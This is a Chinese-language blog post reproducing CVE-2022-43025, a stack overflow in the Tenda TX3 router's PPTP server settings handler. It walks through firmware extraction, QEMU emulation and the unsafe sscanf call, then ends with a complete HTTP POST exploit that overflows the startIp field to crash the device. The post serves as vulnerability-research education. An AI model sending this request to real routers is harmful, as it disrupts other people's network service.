menu 牢记自己是菜
CVE-2022-43025漏洞复现
685 浏览 | 2023-08-06 | 阅读时间: 约 4 分钟 | 分类: 固件漏洞安全 | 标签:
请注意,本文编写于 275 天前,最后修改于 275 天前,其中某些信息可能已经过时。

0x1 前言

影响设备:Tenda-TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01( https://www.tendacn.com/tw/download/detail-4015.html )

漏洞类型:栈溢出

影响:拒绝服务 (DoS)

这里感觉存在与路由器中最普遍的漏洞就是命令注入,和硬件编码的写入。每当一个固件被发布后,在短短的一个月之内我们就能看见关于这两点的CVE发布。其次是栈空间的溢出,大多数的栈空间溢出被用于DDos攻击,个人感觉是有二次在开发的空间的。最后才能会涉及到堆的溢出。可能是由于Iot设备的局限性,堆栈漏洞的利用十分的困难。之后的固件与代码审计将偏向于栈溢出方向。

0x2 漏洞概述

该漏洞位于/goform/SetPptpServerCfg影响Tenda-TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01最新版本的页面。

0x3 漏洞复现

固件提取

首先是固件提取,这里的固件提取十分的有意思,传统的Binwalk对文件进行解包后,我们得到了一个名为40.ubi文件。

UBI (Unsorted Block Image) 是一个用于嵌入式系统中的轻量级文件系统格式。它是为了解决嵌入式设备上的闪存管理问题而设计的。UBI文件系统将闪存分成了两个层次:UBI设备和UBI卷。UBI设备是闪存的物理层,而UBI卷是闪存的逻辑层。

UBI文件系统具有以下特点:

  1. 支持块级别的读写操作,可以在不改变整个文件系统的情况下只更新一个块。
  2. 支持动态分配和释放空间,可以有效地管理闪存的使用。
  3. 支持数据压缩和校验,可以提高存储效率和数据的可靠性。
  4. 支持坏块管理,可以自动检测和处理坏块,提高闪存的可用性。

UBI文件系统通常用于嵌入式设备中,例如智能手机、路由器、物联网设备等。它提供了一种可靠和高效的存储解决方案,适用于资源受限的嵌入式系统。

这里我们使用ubireader_extract_images对该文件进行解包,然后ubi-utils就可以得到根目录。

环境搭建

sudo chroot ./ ./qemu-arm-static ./bin/httpd

我们对服务器进行启动,值得注意的是和之前的Tenda路由器是一样的,需要一个名为br0的网卡,才可以启动程序。

如果没有名为br0的网卡,就会出现如下情况。

漏洞分析

漏洞位于二进制文件httpd,函数formSetPPTPServer中。

tips: formSetPPTPServer,该函数的功能可能是用于设置路由器上的 PPTP 服务器。

PPTP(Point-to-Point Tunneling Protocol)是一种用于建立虚拟私人网络(VPN)连接的协议。通过使用 PPTP 服务器,可以在路由器上创建一个 PPTP VPN 服务器,允许远程客户端通过互联网连接到该服务器并建立 VPN 连接。

具体而言,formSetPPTPServer 函数可能包含以下功能:

  1. 检查和验证设置 PPTP 服务器所需的输入参数,例如 IP 地址、端口号、身份验证方式等。
  2. 配置路由器的网络设置,确保 PPTP 服务器可以正常工作,例如配置网络接口、端口转发等。
  3. 配置 PPTP 服务器的参数,例如设置 IP 地址池、身份验证参数、加密选项等。
  4. 启动或停止 PPTP 服务器,以使设置生效或取消。

这里出现栈溢出的函数是_isoc99_sscanf。

_isoc99_sscanf 函数是 C 标准库中的一个变体,用于按照指定的格式从字符串中进行格式化输入。它的功能与标准的 sscanf 函数类似,但遵循 ISO C99 标准的规范。

具体而言,_isoc99_sscanf 函数的含义是将一个字符串解析为一组值,根据提供的格式字符串来匹配和提取相应的数据。它的原型如下:

int _isoc99_sscanf(const char *restrict str, const char *restrict format, ...);
  • str 是要解析的字符串。
  • format 是格式字符串,指定了要匹配的模式和数据类型。
  • ... 是可变参数列表,用于接收解析出的数据。

_isoc99_sscanf 函数会按照格式字符串中的指定格式,从字符串 str 中解析出相应的数据,并将解析结果存储在可变参数列表中提供的变量中。它可以解析并提取不同类型的数据,如整数、浮点数、字符串等。

这个函数的返回值是成功匹配并解析的参数个数,如果没有成功匹配,则返回 -1。

我们先分析一下该函数的正常情况,该函数调用使用格式字符串 "%[^.].%[^.].%[^.].%s" 对字符串 v9 进行解析,并将解析结果存储在变量 v23v24v25v26 中。

具体格式说明如下:

  • %[^.] 表示匹配除了 .(点号)之外的任意字符序列。
  • . 表示匹配 . 字符。

根据以上格式说明,字符串 v9 是一个 IP 地址,格式为 x.x.x.x(其中 x 是一个数字),例如 192.168.0.1

解析结果将按照顺序存储在提供的变量中:

  • v23 用于存储第一个 . 之前的字符序列,即 IP 地址的第一个字段。
  • v24 用于存储第二个 . 之前的字符序列,即 IP 地址的第二个字段。
  • v25 用于存储第三个 . 之前的字符序列,即 IP 地址的第三个字段。
  • v26 用于存储最后一个 . 之后的字符序列,即 IP 地址的第四个字段。

我们看一下相关的栈空间:

这里的ip_first就是V9的第一个参数段,这里距栈底0x328个字节。

根据exp,我们发现exp中在第一个字段注入了0x3c0个字节,成功的覆盖了返回地址,从而引起了程序崩溃。

exp:

POST /goform/SetPptpServerCfg HTTP/1.1
Host: 192.168.23.133
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=byn5gk
Connection: close
Content-Length: 978

endIp=b&startIp=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!